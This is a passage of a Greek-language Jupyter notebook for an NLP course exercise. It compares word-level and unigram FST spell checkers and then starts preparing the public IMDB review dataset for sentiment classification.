\u03a0\u03b1\u03c1\u03b1\u03c4\u03b7\u03c1\u03bf\u03cd\u03bc\u03b5 \u03cc\u03c4\u03b9 \u03ad\u03c7\u03bf\u03c5\u03bd \u03bc\u03af\u03b1 \u03b1\u03c1\u03ba\u03b5\u03c4\u03ac \u03ba\u03b1\u03bb\u03ae \u03b5\u03c0\u03af\u03b4\u03bf\u03c3\u03b7 \u03bf\u03b9 \u03b4\u03cd\u03bf \u03bf\u03c1\u03b8\u03bf\u03b3\u03c1\u03ac\u03c6\u03bf\u03b9 \u03bc\u03b1\u03c2 \u03b7 \u03bf\u03c0\u03bf\u03af\u03b1 \u03b1\u03c5\u03be\u03ac\u03bd\u03bf\u03bd\u03c4\u03b1\u03c2 \u03c4\u03bf corpus (\u03c4\u03bf \u03bf\u03c0\u03bf\u03af\u03bf \u03b5\u03af\u03bd\u03b1\u03b9 \u03bc\u03cc\u03bd\u03bf \u03ad\u03bd\u03b1 \u03b2\u03b9\u03b2\u03bb\u03af\u03bf) \u03b8\u03b1 \u03bc\u03c0\u03bf\u03c1\u03bf\u03cd\u03c3\u03b1\u03bd \u03bd\u03b1 \u03b3\u03af\u03bd\u03bf\u03c5\u03bd \u03b1\u03ba\u03cc\u03bc\u03b1 \u03ba\u03b1\u03bb\u03cd\u03c4\u03b5\u03c1\u03bf\u03b9. \u03a3\u03c5\u03b3\u03ba\u03b5\u03ba\u03c1\u03b9\u03bc\u03ad\u03bd\u03b1:\n# - \u039f 1\u03bf\u03c2 \u03bf\u03c1\u03b8\u03bf\u03b3\u03c1\u03ac\u03c6\u03bf\u03c2 \u03ba\u03b1\u03c4\u03b1\u03c3\u03ba\u03b5\u03c5\u03ac\u03c3\u03c4\u03b7\u03ba\u03b5 \u03c3\u03c5\u03bd\u03b8\u03ad\u03c4\u03bf\u03bd\u03c4\u03b1\u03c2 \u03c4\u03bf word-level \u03b3\u03bb\u03c9\u03c3\u03c3\u03b9\u03ba\u03cc \u03bc\u03bf\u03bd\u03c4\u03ad\u03bb\u03bf \u03bc\u03b5 \u03c4\u03bf word-level \u03bc\u03b5\u03c4\u03b1\u03c4\u03c1\u03bf\u03c0\u03ad\u03b1. \u0391\u03c5\u03c4\u03cc \u03c3\u03b7\u03bc\u03b1\u03af\u03bd\u03b5\u03b9, \u03cc\u03c4\u03b9 \u03bf \u03bf\u03c1\u03b8\u03bf\u03b3\u03c1\u03ac\u03c6\u03bf\u03c2 \u03c0\u03c1\u03bf\u03c3\u03c0\u03b1\u03b8\u03b5\u03af \u03bd\u03b1 \u03b4\u03b9\u03bf\u03c1\u03b8\u03ce\u03c3\u03b5\u03b9 \u03bc\u03af\u03b1 \u03bb\u03ad\u03be\u03b7 \u03cc\u03c7\u03b9 \u03bc\u03cc\u03bd\u03bf \u03bb\u03b1\u03bc\u03b2\u03ac\u03bd\u03bf\u03bd\u03c4\u03b1\u03c2 \u03c5\u03c0\u03cc\u03c8\u03b9\u03bd \u03c4\u03b9\u03c2 \u03bb\u03b9\u03b3\u03cc\u03c4\u03b5\u03c1\u03b5\u03c2 \u03b1\u03bb\u03bb\u03b1\u03b3\u03ad\u03c2 (\u03cc\u03c0\u03c9\u03c2 \u03c3\u03c4\u03b7\u03bd \u03c0\u03c1\u03bf\u03c0\u03b1\u03c1\u03b1\u03c3\u03ba\u03b5\u03c5\u03ae) \u03b1\u03bb\u03bb\u03ac \u03ba\u03b1\u03b9 \u03c4\u03bf \u03c0\u03cc\u03c3\u03bf \u03c0\u03b9\u03b8\u03b1\u03bd\u03ae \u03b5\u03af\u03bd\u03b1\u03b9 \u03b7 \u03bb\u03ad\u03be\u03b7 \u03c3\u03c4\u03b7\u03bd \u03bf\u03c0\u03bf\u03af\u03b1 \u03b8\u03b1 \u03bc\u03b5\u03c4\u03b1\u03c4\u03c1\u03b1\u03c0\u03b5\u03af. \u0391\u03c5\u03c4\u03cc \u03b1\u03c5\u03be\u03ac\u03bd\u03b5\u03b9 \u03c4\u03b7\u03bd \u03b5\u03c0\u03af\u03b4\u03bf\u03c3\u03ae \u03c4\u03bf\u03c5 \u03b3\u03b9\u03b1\u03c4\u03af \u03c0\u03c1\u03bf\u03c6\u03b1\u03bd\u03ce\u03c2 \u03cc\u03c3\u03bf \u03c0\u03b9\u03bf \u03c0\u03b9\u03b8\u03b1\u03bd\u03ae \u03b5\u03af\u03bd\u03b1\u03b9 \u03bc\u03af\u03b1 \u03bb\u03ad\u03be\u03b7 \u03c4\u03cc\u03c3\u03bf \u03ba\u03b1\u03b9 \u03c0\u03b9\u03bf \u03c0\u03b9\u03b8\u03b1\u03bd\u03cc \u03b5\u03af\u03bd\u03b1\u03b9 \u03bd\u03b1 \u03ad\u03c7\u03b5\u03b9 \u03b3\u03c1\u03b1\u03c6\u03c4\u03b5\u03af \u03bb\u03ac\u03b8\u03bf\u03c2. \u039f \u03bc\u03b5\u03c4\u03b1\u03c4\u03c1\u03bf\u03c0\u03ad\u03b1\u03c2, \u03c4\u03ce\u03c1\u03b1, \u03ad\u03b3\u03b9\u03bd\u03b5 word-level \u03ad\u03c4\u03c3\u03b9 \u03ce\u03c3\u03c4\u03b5 \u03bd\u03b1 \u03c6\u03ad\u03c1\u03bf\u03c5\u03bc\u03b5 \u03c4\u03b1 \u03b2\u03ac\u03c1\u03b7 \u03c4\u03c9\u03bd edits \u03c3\u03c4\u03b7\u03bd \u03af\u03b4\u03b9\u03b1 \u03c4\u03ac\u03be\u03b7 \u03bc\u03b5\u03b3\u03ad\u03b8\u03bf\u03c5\u03c2 \u03bc\u03b5 \u03c4\u03b1 \u03b2\u03ac\u03c1\u03b7 \u03c4\u03bf\u03c5 \u03b3\u03bb\u03c9\u03c3\u03c3\u03b9\u03ba\u03bf\u03cd \u03bc\u03bf\u03bd\u03c4\u03ad\u03bb\u03bf\u03c5.\n# - \u039f 2\u03bf\u03c2 \u03bf\u03c1\u03b8\u03bf\u03b3\u03c1\u03ac\u03c6\u03bf\u03c2 \u03ba\u03b1\u03c4\u03b1\u03c3\u03ba\u03b5\u03c5\u03ac\u03c3\u03c4\u03b7\u03ba\u03b5 \u03c3\u03c5\u03bd\u03b8\u03ad\u03c4\u03bf\u03bd\u03c4\u03b1\u03c2 \u03c4\u03bf unigram \u03b3\u03bb\u03c9\u03c3\u03c3\u03b9\u03ba\u03cc \u03bc\u03bf\u03bd\u03c4\u03ad\u03bb\u03bf \u03bc\u03b5 \u03c4\u03bf word-level \u03bc\u03b5\u03c4\u03b1\u03c4\u03c1\u03bf\u03c0\u03ad\u03b1. \u0391\u03c5\u03c4\u03cc \u03c3\u03b7\u03bc\u03b1\u03af\u03bd\u03b5\u03b9 \u03cc\u03c4\u03b9 \u03bf \u03bf\u03c1\u03b8\u03bf\u03b3\u03c1\u03ac\u03c6\u03bf\u03c2 \u03c0\u03c1\u03bf\u03c3\u03c0\u03b1\u03b8\u03b5\u03af \u03bd\u03b1 \u03b4\u03b9\u03bf\u03c1\u03b8\u03ce\u03c3\u03b5\u03b9 \u03bc\u03af\u03b1 \u03bb\u03ad\u03be\u03b7 \u03bb\u03b1\u03bc\u03b2\u03ac\u03bd\u03bf\u03bd\u03c4\u03b1\u03c2 \u03c5\u03c0\u03cc\u03c8\u03b9\u03bd \u03b1\u03c5\u03c4\u03ae \u03c4\u03b7 \u03c6\u03bf\u03c1\u03ac \u03c0\u03cc\u03c3\u03bf \u03c0\u03b9\u03b8\u03b1\u03bd\u03cc \u03b5\u03af\u03bd\u03b1\u03b9 \u03c4\u03bf \u03b3\u03c1\u03ac\u03bc\u03bc\u03b1 \u03c4\u03bf \u03bf\u03c0\u03bf\u03af\u03bf \u03b8\u03ad\u03bb\u03b5\u03b9 \u03bd\u03b1 \u03b4\u03b9\u03bf\u03c1\u03b8\u03ce\u03c3\u03b5\u03b9. \u0391\u03c5\u03c4\u03cc \u03c4\u03bf \u03b3\u03bb\u03c9\u03c3\u03c3\u03b9\u03ba\u03cc \u03bc\u03bf\u03bd\u03c4\u03ad\u03bb\u03bf \u03b5\u03c0\u03af\u03c3\u03b7\u03c2 \u03b1\u03c5\u03be\u03ac\u03bd\u03b5\u03b9 \u03c4\u03b7\u03bd \u03b1\u03c0\u03cc\u03b4\u03bf\u03c3\u03b7 \u03b3\u03b9\u03b1\u03c4\u03af \u03cc\u03c3\u03bf \u03c0\u03b9\u03bf \u03c0\u03b9\u03b8\u03b1\u03bd\u03cc \u03b5\u03af\u03bd\u03b1\u03b9 \u03ad\u03bd\u03b1 \u03b3\u03c1\u03ac\u03bc\u03bc\u03b1 \u03c4\u03cc\u03c3\u03bf \u03ba\u03b1\u03b9 \u03c0\u03b9\u03bf \u03c0\u03b9\u03b8\u03b1\u03bd\u03cc \u03b5\u03af\u03bd\u03b1\u03b9 \u03bd\u03b1 \u03ad\u03c7\u03b5\u03b9 \u03b3\u03c1\u03b1\u03c6\u03c4\u03b5\u03af \u03bb\u03ac\u03b8\u03bf\u03c2 \u03c4\u03bf \u03c3\u03c5\u03b3\u03ba\u03b5\u03ba\u03c1\u03b9\u03bc\u03ad\u03bd\u03bf \u03b3\u03c1\u03ac\u03bc\u03bc\u03b1. \u03a4\u03b1 \u03b2\u03ac\u03c1\u03b7 \u03c4\u03bf\u03c5 \u03bc\u03b5\u03c4\u03b1\u03c4\u03c1\u03bf\u03c0\u03ad\u03b1 \u03c4\u03ce\u03c1\u03b1 \u03ba\u03ac\u03bd\u03bf\u03c5\u03bd \u03c4\u03b7\u03bd \u03af\u03b4\u03b9\u03b1 \u03b4\u03bf\u03c5\u03bb\u03b5\u03b9\u03ac \u03c0\u03bf\u03c5 \u03b1\u03bd\u03b1\u03c6\u03ad\u03c1\u03b8\u03b7\u03ba\u03b5 \u03ba\u03b1\u03b9 \u03c0\u03b1\u03c1\u03b1\u03c0\u03ac\u03bd\u03c9.\n\n# \u0393\u03b9\u03b1 \u03bd\u03b1 \u03ba\u03b1\u03c4\u03b1\u03bd\u03bf\u03ae\u03c3\u03bf\u03c5\u03bc\u03b5 \u03ba\u03b1\u03bb\u03cd\u03c4\u03b5\u03c1\u03b1 \u03c4\u03b7\u03bd \u03b4\u03b9\u03b1\u03c6\u03bf\u03c1\u03b5\u03c4\u03b9\u03ba\u03ae \u03bb\u03b5\u03b9\u03c4\u03bf\u03c5\u03c1\u03b3\u03af\u03b1 \u03c4\u03c9\u03bd 2 \u03bf\u03c1\u03b8\u03bf\u03b3\u03c1\u03ac\u03c6\u03c9\u03bd \u03b4\u03af\u03bd\u03bf\u03c5\u03bc\u03b5 \u03c9\u03c2 \u03b5\u03af\u03c3\u03bf\u03b4\u03bf \u03b3\u03b9\u03b1 \u03b4\u03b9\u03cc\u03c1\u03b8\u03c9\u03c3\u03b7 \u03c4\u03b7\u03bd \u03bb\u03ad\u03be\u03b7 __qet__.\n\n# In[38]:\n\n\nword = \"qet\"\nprint(word + \":\" + \" \",end='')\npredict(word)\nprint(\"1: \",end='')\nget_ipython().system(' ./predict.sh spell_checker1.fst')\nprint(\" 2: \",end='')\nget_ipython().system(' ./predict.sh spell_checker2.fst')\n\n\n# \u03a0\u03b1\u03c1\u03b1\u03c4\u03b7\u03c1\u03bf\u03cd\u03bc\u03b5 \u03cc\u03c4\u03b9 \u03bf \u03bf\u03c1\u03b8\u03bf\u03b3\u03c1\u03ac\u03c6\u03bf\u03c2 \u03bc\u03b5 \u03c4\u03bf word level \u03b3\u03bb\u03c9\u03c3\u03c3\u03b9\u03ba\u03cc \u03bc\u03bf\u03bd\u03c4\u03ad\u03bb\u03bf \u03c4\u03b7\u03bd \u03b4\u03b9\u03cc\u03c1\u03b8\u03c9\u03c3\u03b5 \u03c3\u03b5 __get__, \u03b5\u03bd\u03ce \u03bf \u03bf\u03c1\u03b8\u03bf\u03b3\u03c1\u03ac\u03c6\u03bf\u03c2 \u03bc\u03b5 \u03c4\u03bf unigram \u03b3\u03bb\u03c9\u03c3\u03c3\u03b9\u03ba\u03cc \u03bc\u03bf\u03bd\u03c4\u03ad\u03bb\u03bf \u03c4\u03b7\u03bd \u03b4\u03b9\u03cc\u03c1\u03b8\u03c9\u03c3\u03b5 \u03c3\u03b5 __set__. \u039f \u03bb\u03cc\u03b3\u03bf\u03c2 \u03c0\u03bf\u03c5 \u03c3\u03c5\u03bd\u03ad\u03b2\u03b7 \u03b1\u03c5\u03c4\u03cc \u03b2\u03c1\u03af\u03c3\u03ba\u03b5\u03c4\u03b1\u03b9 \u03c3\u03c4\u03b9\u03c2 \u03c0\u03b9\u03b8\u03b1\u03bd\u03cc\u03c4\u03b7\u03c4\u03b5\u03c2 \u03b5\u03bc\u03c6\u03ac\u03bd\u03b9\u03c3\u03b7\u03c2 \u03ba\u03ac\u03b8\u03b5 \u03bb\u03ad\u03be\u03b7\u03c2 \u03b1\u03bb\u03bb\u03ac \u03ba\u03b1\u03b9 \u03c4\u03bf\u03c5 \u03c3\u03c5\u03bd\u03bf\u03bb\u03b9\u03ba\u03bf\u03cd \u03c3\u03c5\u03bd\u03b4\u03c5\u03b1\u03c3\u03bc\u03bf\u03cd \u03c4\u03c9\u03bd \u03b3\u03c1\u03b1\u03bc\u03bc\u03ac\u03c4\u03c9\u03bd \u03ba\u03ac\u03b8\u03b5 \u03bb\u03ad\u03be\u03b7\u03c2.\n\n# In[39]:\n\n\nprint(\"Propability of word get: \" + str(dict_token[\"get\"]))\nprint(\"Propability of word set: \" + str(dict_token[\"set\"]))\nprint(\"Propability of characters g: \" + str(dict_character[\"g\"]))\nprint(\"Propability of characters s: \" + str(dict_character[\"s\"]))\n\n\n# \u0392\u03bb\u03ad\u03c0\u03bf\u03c5\u03bc\u03b5 \u03cc\u03c4\u03b9 \u03b7 \u03c0\u03b9\u03b8\u03b1\u03bd\u03cc\u03c4\u03b7\u03c4\u03b1 \u03bd\u03b1 \u03b4\u03bf\u03cd\u03bc\u03b5 get \u03b5\u03af\u03bd\u03b1\u03b9 \u03bc\u03b5\u03b3\u03b1\u03bb\u03cd\u03c4\u03b5\u03c1\u03b7 \u03b1\u03c0\u03cc \u03c4\u03bf \u03bd\u03b1 \u03b4\u03bf\u03cd\u03bc\u03b5 set \u03ba\u03b1\u03b9 \u03b3\u03b9\u00b4 \u03b1\u03c5\u03c4\u03cc \u03bf word-level \u03bf\u03c1\u03b8\u03bf\u03b3\u03c1\u03ac\u03c6\u03bf\u03c2 \u03bc\u03b1\u03c2 \u03c0\u03bf\u03c5 \u03ba\u03bf\u03b9\u03c4\u03ac\u03b5\u03b9 \u03c4\u03b1 word-level \u03b2\u03ac\u03c1\u03b7 \u03b5\u03c0\u03ad\u03bb\u03b5\u03be\u03b5 \u03bd\u03b1 \u03b4\u03b9\u03bf\u03c1\u03b8\u03ce\u03c3\u03b5\u03b9 \u03c4\u03bf qet \u03c3\u03b5 get. \u0391\u03c0\u03cc \u03c4\u03b7\u03bd \u03ac\u03bb\u03bb\u03b7 \u03b7 \u03c0\u03b9\u03b8\u03b1\u03bd\u03cc\u03c4\u03b7\u03c4\u03b1 \u03bd\u03b1 \u03b4\u03bf\u03cd\u03bc\u03b5 s \u03b5\u03af\u03bd\u03b1\u03b9 \u03bc\u03b5\u03b3\u03b1\u03bb\u03cd\u03c4\u03b5\u03c1\u03b7 \u03b1\u03c0\u03cc \u03c4\u03bf \u03bd\u03b1 \u03b4\u03bf\u03cd\u03bc\u03b5 g \u03bc\u03b5 \u03b1\u03c0\u03bf\u03c4\u03ad\u03bb\u03b5\u03c3\u03bc\u03b1 \u03bf 2\u03bf\u03c2 \u03bf\u03c1\u03b8\u03bf\u03b3\u03c1\u03ac\u03c6\u03bf\u03c2 \u03c0\u03bf\u03c5 \u03b2\u03b1\u03c3\u03af\u03b6\u03b5\u03c4\u03b1\u03b9 \u03c3\u03c4\u03b9\u03c2 \u03c0\u03b9\u03b8\u03b1\u03bd\u03cc\u03c4\u03b7\u03c4\u03b5\u03c2 \u03b5\u03bc\u03c6\u03ac\u03bd\u03b9\u03c3\u03b7\u03c2 \u03c4\u03c9\u03bd \u03b3\u03c1\u03b1\u03bc\u03ac\u03c4\u03c9\u03bd \u03b4\u03b9\u03bf\u03c1\u03b8\u03ce\u03bd\u03b5\u03b9 \u03c4\u03b7\u03bd \u03bb\u03ad\u03be\u03b7 qet \u03c3\u03b5 set.\n\n# <h2><center> \u039c\u03ad\u03c1\u03bf\u03c2 2: \u03a7\u03c1\u03ae\u03c3\u03b7 \u03c3\u03b7\u03bc\u03b1\u03c3\u03b9\u03bf\u03bb\u03bf\u03b3\u03b9\u03ba\u03ce\u03bd \u03b1\u03bd\u03b1\u03c0\u03b1\u03c1\u03b1\u03c3\u03c4\u03ac\u03c3\u03b5\u03c9\u03bd \u03b3\u03b9\u03b1 \u03b1\u03bd\u03ac\u03bb\u03c5\u03c3\u03b7 \u03c3\u03c5\u03bd\u03b1\u03b9\u03c3\u03b8\u03ae\u03bc\u03b1\u03c4\u03bf\u03c2</center></h2>\n\n# \u03a3\u03c4\u03bf \u03c0\u03c1\u03ce\u03c4\u03bf \u03bc\u03ad\u03c1\u03bf\u03c2 \u03c4\u03b7\u03c2 \u03ac\u03c3\u03ba\u03b7\u03c3\u03b7\u03c2 \u03b1\u03c3\u03c7\u03bf\u03bb\u03b7\u03b8\u03ae\u03ba\u03b1\u03bc\u03b5 \u03ba\u03c5\u03c1\u03af\u03c9\u03c2 \u03bc\u03b5 \u03c3\u03c5\u03bd\u03c4\u03b1\u03ba\u03c4\u03b9\u03ba\u03ac \u03bc\u03bf\u03bd\u03c4\u03ad\u03bb\u03b1 \u03b3\u03b9\u03b1 \u03c4\u03b7\u03bd \u03ba\u03b1\u03c4\u03b1\u03c3\u03ba\u03b5\u03c5\u03ae \u03b5\u03bd\u03cc\u03c2 \u03bf\u03c1\u03b8\u03bf\u03b3\u03c1\u03ac\u03c6\u03bf\u03c5. \u0395\u03b4\u03ce \u03b8\u03b1 \n# \u03b1\u03c3\u03c7\u03bf\u03bb\u03b7\u03b8\u03bf\u03cd\u03bc\u03b5 \u03bc\u03b5 \u03c4\u03b7 __\u03c7\u03c1\u03ae\u03c3\u03b7 \u03bb\u03b5\u03be\u03b9\u03ba\u03ce\u03bd \u03b1\u03bd\u03b1\u03c0\u03b1\u03c1\u03b1\u03c3\u03c4\u03ac\u03c3\u03b5\u03c9\u03bd \u03b3\u03b9\u03b1 \u03c4\u03b7\u03bd \u03ba\u03b1\u03c4\u03b1\u03c3\u03ba\u03b5\u03c5\u03ae \u03b5\u03bd\u03cc\u03c2 \u03c4\u03b1\u03be\u03b9\u03bd\u03bf\u03bc\u03b7\u03c4\u03ae \u03c3\u03c5\u03bd\u03b1\u03b9\u03c3\u03b8\u03ae\u03bc\u03b1\u03c4\u03bf\u03c2__ . \u03a9\u03c2 \u03b4\u03b5\u03b4\u03bf\u03bc\u03ad\u03bd\u03b1 \u03b8\u03b1 \n# \u03c7\u03c1\u03b7\u03c3\u03b9\u03bc\u03bf\u03c0\u03bf\u03b9\u03ae\u03c3\u03bf\u03c5\u03bc\u03b5 \u03c3\u03c7\u03cc\u03bb\u03b9\u03b1 \u03b3\u03b9\u03b1 \u03c4\u03b1\u03b9\u03bd\u03af\u03b5\u03c2 \u03b1\u03c0\u03cc \u03c4\u03b7\u03bd \u03b9\u03c3\u03c4\u03bf\u03c3\u03b5\u03bb\u03af\u03b4\u03b1 IMDB \u03ba\u03b1\u03b9 \u03b8\u03b1 \u03c4\u03b1 \u03c4\u03b1\u03be\u03b9\u03bd\u03bf\u03bc\u03ae\u03c3\u03bf\u03c5\u03bc\u03b5 \u03c3\u03b5 \u03b8\u03b5\u03c4\u03b9\u03ba\u03ac \u03ba\u03b1\u03b9 \u03b1\u03c1\u03bd\u03b7\u03c4\u03b9\u03ba\u03ac \u03c9\u03c2 \n# \u03c0\u03c1\u03bf\u03c2 \u03c4\u03bf \u03c3\u03c5\u03bd\u03b1\u03af\u03c3\u03b8\u03b7\u03bc\u03b1.\n\n# ### \u0392\u03ae\u03bc\u03b1 16: \u0394\u03b5\u03b4\u03bf\u03bc\u03ad\u03bd\u03b1 \u03ba\u03b1\u03b9 \u03c0\u03c1\u03bf\u03b5\u03c0\u03b5\u03be\u03b5\u03c1\u03b3\u03b1\u03c3\u03af\u03b1 \n\n# __\u03b1)__ \u0391\u03c1\u03c7\u03b9\u03ba\u03ac \u03ba\u03b1\u03c4\u03b5\u03b2\u03ac\u03b6\u03bf\u03c5\u03bc\u03b5 \u03c4\u03b1 \u03b4\u03b5\u03b4\u03bf\u03bc\u03ad\u03bd\u03b1 \u03c0\u03bf\u03c5 \u03b8\u03b1 \u03c7\u03c1\u03b7\u03c3\u03b9\u03bc\u03bf\u03c0\u03bf\u03b9\u03ae\u03c3\u03bf\u03c5\u03bc\u03b5. \u0395\u03c0\u03b5\u03b9\u03b4\u03ae \u03c4\u03bf \u03b1\u03c1\u03c7\u03b5\u03af\u03bf \u03b5\u03af\u03bd\u03b1\u03b9 \u03bc\u03b5\u03b3\u03ac\u03bb\u03bf \u03b7 \u03b5\u03bd\u03c4\u03bf\u03bb\u03ae \u03b5\u03af\u03bd\u03b1\u03b9 \u03c3\u03b5 \u03c3\u03c7\u03cc\u03bb\u03b9\u03bf \u03c3\u03b5 \u03c0\u03b5\u03c1\u03af\u03c0\u03c4\u03c9\u03c3\u03b7 \u03c0\u03bf\u03c5 \u03c5\u03c0\u03ac\u03c1\u03c7\u03b5\u03b9 \u03ae\u03b4\u03b7 \u03ba\u03b1\u03c4\u03b5\u03b2\u03b1\u03c3\u03bc\u03ad\u03bd\u03bf.\n\n# In[40]:\n\n\n# ! wget -N http://ai.stanford.edu/~amaas/data/sentiment/aclImdb_v1.tar.gz\n\n\n# \u03a3\u03c4\u03b7 \u03c3\u03c5\u03bd\u03ad\u03c7\u03b5\u03b9\u03b1 \u03c4\u03bf \u03b1\u03c0\u03bf\u03c3\u03c5\u03bc\u03c0\u03b9\u03ad\u03b6\u03bf\u03c5\u03bc\u03b5 \u03c4\u03bf \u03b1\u03c1\u03c7\u03b5\u03af\u03bf\u03c5 \u03c0\u03bf\u03c5 \u03ba\u03b1\u03c4\u03b5\u03b2\u03ac\u03c3\u03b1\u03bc\u03b5 \u03c3\u03c4\u03bf\u03bd \u03af\u03b4\u03b9\u03bf \u03c6\u03ac\u03ba\u03b5\u03bb\u03bf \u03bc\u03b5 \u03c4\u03bf \u03cc\u03bd\u03bf\u03bc\u03b1 __aclImdb__.\n\n# In[41]:\n\n\n# ! tar -zxf aclImdb_v1.tar.gz\n\n\n# \u039f\u03b9 \u03c6\u03ac\u03ba\u03b5\u03bb\u03bf\u03b9 \u03c0\u03bf\u03c5 \u03bc\u03b1\u03c2 \u03b5\u03bd\u03b4\u03b9\u03b1\u03c6\u03ad\u03c1\u03bf\u03c5\u03bd \u03b5\u03af\u03bd\u03b1\u03b9 \u03bf\u03b9 \u03b5\u03be\u03ae\u03c2:\n#  - __train__ \u03c0\u03bf\u03c5 \u03c0\u03b5\u03c1\u03b9\u03ad\u03c7\u03b5\u03b9 \u03cc\u03bb\u03b5\u03c2 \u03c4\u03b9\u03c2 \u03ba\u03c1\u03b9\u03c4\u03b9\u03ba\u03ad\u03c2 \u03c0\u03bf\u03c5 \u03b8\u03b1 \u03c7\u03c1\u03b7\u03c3\u03b9\u03bc\u03bf\u03c0\u03b9\u03ae\u03c3\u03bf\u03c5\u03bc\u03b5 \u03b3\u03b9\u03b1 \u03c4\u03b7\u03bd \u03b5\u03ba\u03c0\u03b1\u03af\u03b4\u03b5\u03c5\u03c3\u03b7 \u03c4\u03bf\u03c5 \u03bc\u03bf\u03bd\u03c4\u03ad\u03bb\u03bf\u03c5 \u03bc\u03b1\u03c2 \u03ba\u03b1\u03b9 \u03c7\u03c9\u03c1\u03af\u03b6\u03b5\u03c4\u03b1\u03b9 \u03c3\u03b5:\n#      - __train/pos__ \u03c4\u03bf \u03bf\u03c0\u03bf\u03af\u03bf \u03c0\u03b5\u03c1\u03b9\u03ad\u03c7\u03b5\u03b9 \u03b1\u03c5\u03c4\u03ad\u03c2 \u03c0\u03bf\u03c5 \u03ad\u03c7\u03bf\u03c5\u03bd \u03c7\u03b1\u03c1\u03b1\u03ba\u03c4\u03b7\u03c1\u03b9\u03c3\u03c4\u03b5\u03af \u03c9\u03c2 \u03b8\u03b5\u03c4\u03b9\u03ba\u03ad\u03c2 \u03ba\u03b1\u03b9\n#      - __train/neg__ \u03c4\u03bf \u03bf\u03c0\u03bf\u03af\u03bf \u03c0\u03b5\u03c1\u03b9\u03ad\u03c7\u03b5\u03b9 \u03b1\u03c5\u03c4\u03ad\u03c2 \u03c0\u03bf\u03c5 \u03ad\u03c7\u03bf\u03c5\u03bd \u03c7\u03b1\u03c1\u03b1\u03ba\u03c4\u03b7\u03c1\u03b9\u03c3\u03c4\u03b5\u03af \u03c9\u03c2 \u03b1\u03c1\u03bd\u03b7\u03c4\u03b9\u03ba\u03ad\u03c2.\n#  - __test__ \u03c0\u03bf\u03c5 \u03c0\u03b5\u03c1\u03b9\u03ad\u03c7\u03b5\u03b9 \u03cc\u03bb\u03b5\u03c2 \u03c4\u03b9\u03c2 \u03ba\u03c1\u03b9\u03c4\u03b9\u03ba\u03ad\u03c2 \u03c0\u03bf\u03c5 \u03b8\u03b1 \u03c7\u03c1\u03b7\u03c3\u03b9\u03bc\u03bf\u03c0\u03bf\u03b9\u03ae\u03c3\u03bf\u03c5\u03bc\u03b5 \u03b3\u03b9\u03b1 \u03bd\u03b1 \u03b5\u03bb\u03ad\u03b3\u03be\u03bf\u03c5\u03bc\u03b5 \u03c4\u03b7\u03bd \u03b5\u03c0\u03af\u03b4\u03bf\u03c3\u03b7 \u03c4\u03bf\u03c5 \u03bc\u03bf\u03bd\u03c4\u03ad\u03bb\u03bf\u03c5 \u03bc\u03b1\u03c2 \u03ba\u03b1\u03b9 \u03b1\u03bd\u03c4\u03af\u03c3\u03c4\u03bf\u03b9\u03c7\u03b1 \u03c7\u03c9\u03c1\u03af\u03b6\u03b5\u03c4\u03b1\u03b9 \u03c3\u03b5:\n#      - __test/pos__ \u03bc\u03b5 \u03c4\u03b9\u03c2 \u03b8\u03b5\u03c4\u03b9\u03ba\u03ad\u03c2 \u03ba\u03b1\u03b9 \n#      - __test/neg__ \u03bc\u03b5 \u03c4\u03b9\u03c2 \u03b1\u03c1\u03bd\u03b7\u03c4\u03b9\u03ba\u03ad\u03c2.\n\n# __\u03b2)__ \u03a3\u03c4\u03b7 \u03c3\u03c5\u03bd\u03ad\u03c7\u03b5\u03b9\u03b1 \u03c0\u03c1\u03ad\u03c0\u03b5\u03b9 \u03bd\u03b1 \u03b4\u03b9\u03b1\u03b2\u03ac\u03c3\u03bf\u03c5\u03bc\u03b5 \u03ba\u03b1\u03b9 \u03bd\u03b1 \u03c0\u03c1\u03bf\u03b5\u03c0\u03b5\u03be\u03b5\u03c1\u03b3\u03b1\u03c3\u03c4\u03bf\u03cd\u03bc\u03b5 \u03c4\u03b1 \u03b4\u03b5\u03b4\u03bf\u03bc\u03ad\u03bd\u03b1 \u03bc\u03b1\u03c2. \u039f \u03ba\u03ce\u03b4\u03b9\u03ba\u03b1\u03c2 \u03b1\u03bd\u03ac\u03b3\u03bd\u03c9\u03c3\u03b7\u03c2 \u03ba\u03b1\u03b9 \u03ba\u03ac\u03c0\u03bf\u03b9\u03b5\u03c2 \u03b1\u03c0\u03bb\u03ad\u03c2 \u03c3\u03c5\u03bd\u03b1\u03c1\u03c4\u03ae\u03c3\u03b5\u03b9\u03c2 \u03c0\u03c1\u03bf\u03b5\u03c0\u03b5\u03be\u03b5\u03c1\u03b3\u03b1\u03c3\u03af\u03b1\u03c2 (\u03c4\u03b1 \u03bf\u03c0\u03bf\u03af\u03b1 \u03bc\u03b1\u03c2 \u03b4\u03ce\u03b8\u03b7\u03ba\u03b1\u03bd \u03ad\u03c4\u03bf\u03b9\u03bc\u03b1 \u03b3\u03b9\u03b1 \u03b4\u03b9\u03b5\u03c5\u03ba\u03cc\u03bb\u03c5\u03bd\u03c3\u03b7) \u03c0\u03b1\u03c1\u03bf\u03c5\u03c3\u03b9\u03ac\u03b6\u03bf\u03bd\u03c4\u03b1\u03b9 \u03c0\u03b1\u03c1\u03b1\u03ba\u03ac\u03c4\u03c9.\n\n# - \u0391\u03c1\u03c7\u03b9\u03ba\u03ac \u03ba\u03ac\u03bd\u03bf\u03c5\u03bc\u03b5 \u03cc\u03bb\u03b1 \u03c4\u03b1 \u03b1\u03c0\u03b1\u03c1\u03b1\u03af\u03c4\u03b7\u03c4\u03b1 import.\n\n# In[42]:\n\n\nimport random\nimport os\nimport numpy as np\nimport re\ntry:\n    import glob2 as glob\nexcept ImportError:\n    import glob\n\n\n# - \u03a3\u03c4\u03b7 \u03c3\u03c5\u03bd\u03ad\u03c7\u03b5\u03b9\u03b1 \u03b4\u03b7\u03bb\u03ce\u03bd\u03bf\u03c5\u03bc\u03b5 \u03c4\u03b1 path \u03c4\u03c9\u03bd \u03b1\u03c1\u03c7\u03b5\u03af\u03c9\u03bd \u03c0\u03bf\u03c5 \u03b8\u03b1 \u03bc\u03b1\u03c2 \u03c6\u03b1\u03bd\u03bf\u03cd\u03bd\u03b5 \u03c7\u03c1\u03ae\u03c3\u03b9\u03bc\u03b1 \u03ba\u03b1\u03b9 \u03ba\u03ac\u03c0\u03bf\u03b9\u03b5\u03c2 \u03b1\u03ba\u03cc\u03bc\u03b7 \u03bc\u03b5\u03c4\u03b1\u03b2\u03bb\u03b7\u03c4\u03ad\u03c2.\n\n# In[43]:\n\n\n# Useful paths\ndata_dir = './aclImdb/'\ntrain_dir = os.path.join(data_dir, 'train')\ntest_dir = os.path.join(data_dir, 'test')\npos_train_dir = 